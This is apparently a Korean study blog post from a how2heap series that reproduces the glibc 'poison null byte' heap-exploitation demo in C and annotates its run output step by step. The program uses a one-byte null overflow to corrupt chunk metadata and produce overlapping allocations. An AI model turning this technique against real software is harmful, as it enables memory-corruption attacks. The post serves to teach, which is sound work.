#include "stdio.h" #include "stdlib.h" #include "string.h" #include "stdint.h" #include "malloc.h" int main() { printf("Welcome to poison null byte 2.0!\n"); printf("Tested in Ubuntu 14.04 64bit.\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"); uint8_t* a; uint8_t* b; uint8_t* c; uint8_t* b1; uint8_t* b2; uint8_t* d; printf("We allocate 0x100 bytes for 'a'.\n"); a = (uint8_t*) malloc(0x100); printf("a: %p\n", a); int real_a_size = malloc_usable_size(a); printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' " "(it may be more than 0x100 because of rounding): %#x\n", real_a_size); /* chunk size attribute cannot have a least significant byte with a value of 0x00. * the least significant byte of this will be 0x10, because the size of the chunk includes * the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0x200); printf("b: %p\n", b); c = (uint8_t*) malloc(0x100); printf("c: %p\n", c); uint64_t* b_size_ptr = (uint64_t*)(b - 8); /* this technique works by overwriting the size metadata of a free chunk */ free(b); printf("b.size: %#lx\n", *b_size_ptr); printf("b.size is: (0x200 + 0x10) | prev_in_use\n"); printf("We overflow 'a' with a single null byte into the metadata of 'b'\n"); a[real_a_size] = 0; printf("b.size: %#lx\n", *b_size_ptr); uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2; printf("c.prev_size is %#lx\n",*c_prev_size_ptr); b1 = malloc(0x100); printf("b1: %p\n",b1); printf("Now we malloc 'b1'. It will be placed where 'b' was. " "At this point c.prev_size should have been updated, but it was not: %lx\n",*c_prev_size_ptr); printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes " "before c.prev_size: %lx\n",*(((uint64_t*)c)-4)); printf("We malloc 'b2', our 'victim' chunk.\n"); b2 = malloc(0x80); printf("b2: %p\n",b2); memset(b2,'B',0x80); printf("Current b2 content:\n%s\n",b2); printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n"); free(b1); free(c); printf("Finally, we allocate 'd', overlapping 'b2'.\n"); d = malloc(0x300); printf("d: %p\n",d); printf("Now 'd' and 'b2' overlap.\n"); memset(d,'D',0x300); printf("New b2 content:\n%s\n",b2); printf("Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf " "for the clear explanation of this technique.\n"); }
Welcome to poison null byte 2.0!
Tested in Ubuntu 14.04 64bit.
This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.
이 기술은 off-by-one을 nullbyte가 있는 malloc된 지역에 가지고 있을때 사용될 수 있다.
uint8_t* a; uint8_t* b; uint8_t* c; uint8_t* b1; uint8_t* b2; uint8_t* d;
We allocate 0x100 bytes for 'a'.
a에 0x100바이트를 할당
a = (uint8_t*) malloc(0x100);
a: 0x1fc1420
int real_a_size = malloc_usable_size(a);
Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): 0x108
우리가 'a'를 overflow하길 원하기 때문에 우리는 'a'의 realsize를 알필요가 있다.(반올림으로 0x100이 넘아갈 수 있다.):0x108
/* chunk size attribute cannot have a least significant byte with a value of 0x00. * the least significant byte of this will be 0x10, because the size of the chunk includes * the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);
b: 0x1fc1530
c = (uint8_t*) malloc(0x100);
c: 0x1fc1740
uint64_t* b_size_ptr = (uint64_t*)(b - 8); /* this technique works by overwriting the size metadata of a free chunk */ free(b);
b.size: 0x211
b.size is: (0x200 + 0x10) | prev_in_use
We overflow 'a' with a single null byte into the metadata of 'b'
우리는 'a'에서 'b'로 하나의 null byte를 overflow 할 수 있다.
a[real_a_size] = 0;
b.size: 0x200
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
c.prev_size is 0x210
b1 = malloc(0x100);
b1: 0x1fc1530
Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: 210
이제 우리는 'b1'을 malloc한다. 이것은 'b'의 자리에 들어갈 것이다. 이점에서 c의 prev_size는 update되어야 한다. 그러나 그러지 않았다..!
Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: f0(*(c-4))
흥미롭게도 c.prev_size의 바뀐 값은 c.prev_size의 10bytes뒤인 자리에 쓰여진다.
We malloc 'b2', our 'victim' chunk.
우리는 'b2'를 malloc한다 우리의 'victim' 청크이다
b2 = malloc(0x80);
b2: 0x1fc1640
memset(b2,'B',0x80);
Current b2 content:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
이제 'b1'과 'c'를 free하자 이 작업은 'b1'과 'c'를 병합할 것이다('b2'를 잊은채..!)
free(b1); free(c);
Finally, we allocate 'd', overlapping 'b2'.
마지막으로 우리는 'd'를 할당한다 b2와 겹치는!
d = malloc(0x300);
d: 0x1fc1530
Now 'd' and 'b2' overlap.
memset(d,'D',0x300);
New b2 content:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf for the clear explanation of this technique.
'시스템 > how2heap시리즈' 카테고리의 다른 글
[how2heap]overlapping chunks (0) | 2017.01.24 |
---|---|
[how2heap]malloc_playground (0) | 2017.01.24 |
[how2heap정리] house_of_lore - 이해안감 ㅠ (0) | 2017.01.17 |
[how2heap정리] house of einherjar (0) | 2017.01.15 |
[how2heap정리]fist_fit (0) | 2017.01.14 |